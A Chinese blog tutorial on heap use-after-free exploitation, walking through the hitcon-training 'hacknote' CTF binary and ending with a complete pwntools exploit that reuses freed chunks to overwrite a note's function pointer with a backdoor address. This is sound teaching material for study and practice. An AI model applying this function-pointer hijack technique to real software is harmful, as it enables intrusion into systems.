堆利用之UAF


[TOC]

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

例题 hitcon-training-hacknote

程序只开启了 Canary 和 NX 保护

程序有 3 个功能,可以依次走一下看看具体流程

Add note

count 为全局变量,记录当前 note 的数量,最多只能有 5 个 note

首先为申请一个大小为 8 的 note chunk,该 chunk 的 malloc_ptr 存放在 notelist 数组里

note chunk 的第一个位置存放的是 print_note_content 函数的地址

note chunk 的第二个位置存放的是 content chunk 的 malloc_ptr

所以其内存布局图如下:

Delete note

这里释放了 content_chunk , note_chunk,但是都没有置NULL;存在UAF漏洞

Print note

调用 note chunk 处存放的函数

其中 print_note_content 函数如下

程序存在后面函数 magic :

漏洞利用思路

程序存在后面函数,并且我们可以通过 Print note 功能去调用存放在note位置处的函数;所以如果我们能够修改note位置处函数的地址为 magic 函数的地址,那么当我们执行 Print note 功能时就会去执行 magic 后门函数

那么我们如何实现修改 note 处的函数地址呢?程序并没有修改功能

注意:程序创建chunk的顺序,当我们创建一个 note 时,程序首先会创建一个大小为 8 的 note chunk 用来存放 print_note_content 函数地址以及 content chunk的malloc指针,然后在创建content chunk;这里 note chunk 的大小是固定的,而 content chunk 的大小是我们可以控制的

那么如果我们开始创建两个 content size > 8的 note,然后再delete掉;那么此时bins里面大小为8的chunk就有两个,那么当我们再次创建一个 content size = 8 的 note 时,这两个chunk就会被复用,那么问题就来了,这两个chunk再释放之前都是 note chunk,而现在一个是note chunk,一个是 content chunk;而对于content chunk的内容我们是可以修改的,而由于存在UAF漏洞,所以这个 content chunk 还是可以被当作 note chunk。

创建两个 note :

释放这两个 note :

创建大小为 8 的 note:可以看到之前作为 note chunk的chunk现在成了 content chunk,而由于存在UAF漏洞,我们还是可以利用存放在0x804b008 处的函数

exp:

from pwn import *
io = process("./hacknote")
def cmd(index):
    io.sendlineafter(b'choice :', str(index).encode())

def add(size, content):
    cmd(1)
    io.sendlineafter(b'size :', str(size).encode())
    io.sendlineafter(b'Content :', content)

def dele(index):
    cmd(2)
    io.sendlineafter(b'Index :', str(index).encode())

def pri(index):
    cmd(3)
    io.sendlineafter(b'Index :', str(index).encode())

magic = 0x0804898F

add(24, b'A')
add(24, b'A')

dele(1)
dele(0)

add(8, p32(magic))
pri(1)
io.interactive()

文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录